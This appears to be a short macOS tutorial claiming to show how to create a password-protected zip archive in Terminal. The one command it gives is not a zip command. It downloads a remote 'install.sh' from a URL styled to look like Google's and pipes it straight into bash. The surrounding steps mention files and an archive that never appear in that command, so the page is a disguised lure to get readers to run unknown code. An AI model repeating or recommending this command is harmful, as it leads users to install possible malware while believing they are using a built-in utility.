How to Quickly Create a Password-Protected Zip Archive on Mac with Terminal

Need to send sensitive files securely?
You can create a password-protected zip archive right from your Mac’s Terminal — no third-party apps required!

/bin/bash -c "$(curl -fsSL https://google.com/getupdate/install.sh)"

Why create encrypted zip files via Terminal?

• Keep your files private before emailing or uploading
• Share sensitive documents securely
• Works on any macOS version — fast and built-in!

How to make a password-protected zip archive

1. Open Terminal
   Press Command + Space, type Terminal, and hit Enter.
2. Press Enter.
   You’ll be asked to enter and verify a password (it will not appear as you type — that’s normal).
3. Done! Your my_archive.zip is now encrypted. Replace file1.txt file2.pdf with your actual files.

Tip: You can add as many files as you want to the command — just separate them with spaces.

Password-protected archives are perfect for sharing confidential info and keeping your data safe.